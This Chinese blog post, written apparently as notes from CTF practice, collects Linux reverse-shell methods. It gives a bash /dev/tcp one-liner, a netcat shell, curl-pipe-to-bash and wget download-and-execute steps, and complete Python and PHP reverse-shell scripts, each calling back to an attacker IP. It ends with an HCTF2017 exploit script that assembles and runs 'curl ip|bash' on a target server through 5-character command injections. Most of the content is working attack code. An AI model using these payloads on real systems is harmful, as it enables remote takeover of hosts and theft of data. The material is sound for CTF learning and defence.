Linux下几种常见的反弹shell方式

image.png

最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。

1.bash反弹shell

个人感觉bash反弹是最简单、也是最常见的一种。

bash -i >& /dev/tcp/192.168.20.151/8080 0>&1

bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

image.png

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹

Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

开启外网主机监听

root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...

kali : 192.168.20.151
centos:192.168.20.130

先用kali开启监听:
然后centos执行bash一句话。


image.png
image.png

成功反弹。

2.netcat 一句话反弹

~  nc 192.168.31.151 7777 -t  /bin/bash
 命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。

先开启监听7777端口。


image.png
image.png
image.png

交互式反弹

3.curl反弹shell

前提要利用bash一句话的情况下使用curl反弹shell

在存在命令执行的服务器上执行curl ip|bash,该ip的index文件上含有bash一句话,就可以反弹shell。

例如在自己的服务器index上写上一句话

bash -i >& /dev/tcp/192.168.20.151/7777 0>&1

192.168.20.151就是作为监听端口的服务器用来得到反弹的shell。


image.png

存在一句话,利用curl反弹。
kali开启监听


image.png
image.png

4.wget方式反弹

利用wget进行下载执行

wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php

利用下面贴出的php进行反弹。
开启监听


image.png
image.png

成功反弹shell

5.其他脚本反弹

python反弹

开启kail监听


image.png
image.png

反弹成功。
py脚本

#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

php反弹

开启kail监听端口,


image.png
image.png

成功反弹,不过这里要将php保存成txt文件进行反弹,若为php文件不会反弹成功。
php脚本:

<?php
$sock=fsockopen("192.168.20.151",7777);//localhost为自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

ctf遇到的命令执行反弹shell

HCTF2017的一道

image.png

这道题大概意思就是存在命令执行,但单次输入字符不得大于5。因此利用linux下特有的命令来写入shell反弹。原理就是利用curl ip|bash等很多方式去反弹shell。网上很多教程具体就不说了。

import requests
from time import sleep
from urllib.parse import quote
payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash` 
    '>sh\ ', 
    '>ba\\', 
    '>\|\\',
    # '>03\\',
    # '>90\\',
    '>0\\',
    '>20\\',
    '>1.\\',
    '>12\\' ,
    '>7.\\',
    '>10\\' ,
    '>9.\\', 
    '>3\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\',
    
    #exec
    'sh _', 
    'sh g', 
]


r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
    print (i)
    sleep(0.2)

在自己服务器中放入bash一句话,利用curl ip|bash反弹shell
开启监听,执行后可反弹shell。


image.png

利用linux文件写入技巧得到


image.png

ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中


image.png

可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。

推荐阅读更多精彩内容